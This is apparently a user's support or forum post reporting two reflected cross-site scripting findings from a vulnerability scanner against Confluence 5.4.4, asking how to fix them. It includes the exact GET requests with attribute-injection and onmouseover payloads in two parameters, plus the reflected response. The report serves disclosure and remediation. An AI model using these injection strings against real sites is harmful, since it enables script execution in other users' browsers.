XSS vulnerability in spacedirectory

Good morning,

I wanted to tell you to run vulnerability tests confluence, thrown the same XSS vulnerabilities.

Version tested: 5.4.4

What steps should I follow to fix their vulnerabilities?

Or vulnerabilities will be resolved for you?

I attached the vulnerabilities:

1)
GET /spacedirectory/view.action?selectedSpaceCategory=%27%22+ns%3d+netsparker(0x002414)+ HTTP/1.1
Response:
<div id="space-directory-wrapper">
<nav class="aui-navgroup aui-navgroup-vertical" id="space-directory" data-selected-tab='" ns= netsparker(0x002414) >
<div class="aui-navgroup-inner">
<ul id="space-system-list" class="aui-nav">

2)
GET /labels/viewlabel.action?ids=1703943&ids=589833&ids=2916356&ids=589837&ids=1703945&key=API%22%20onmouseover%3dprompt(927382)%20bad%3d%22 HTTP/1.1

I remain waiting for a prompt response.

Thanks and regards
